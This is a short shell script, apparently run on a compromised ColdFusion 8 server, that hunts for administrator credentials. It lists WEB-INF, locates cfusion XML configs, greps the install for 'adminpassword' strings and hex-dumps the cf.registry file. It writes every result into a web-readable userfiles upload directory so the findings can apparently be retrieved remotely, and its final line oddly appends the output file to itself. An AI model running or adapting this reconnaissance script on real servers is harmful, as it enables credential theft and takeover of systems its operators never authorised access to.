#!/bin/sh
O=/opt/coldfusion8/wwwroot/userfiles/file/cfpw6_out.txt
echo "=== WEB-INF dirs ===" > $O
ls -la /opt/coldfusion8/wwwroot/WEB-INF/ 2>/dev/null >> $O
echo "=== find cfusion*.xml anywhere ===" >> $O
find /opt/coldfusion8 -name 'cfusion*.xml' -not -path '*/help/*' 2>/dev/null | head -20 >> $O
echo "=== find files with adminpassword (all cf home, limit) ===" >> $O
grep -rlI 'adminpassword\|AdminPassword\|cfadminpassword' /opt/coldfusion8 --include='*.xml' --include='*.properties' --include='*.ini' --include='*.conf' 2>/dev/null | grep -ivE 'cftags|charting/styles|flex|wizards|help|monitor' | head -20 >> $O
echo "=== registry content ===" >> $O
xxd /opt/coldfusion8/registry/cf.registry 2>/dev/null | head -5 >> $O
echo "=== runtime lib dirs ===" >> $O
ls /opt/coldfusion8/runtime/lib/ 2>/dev/null | head -20 >> $O
cat $O >> $O
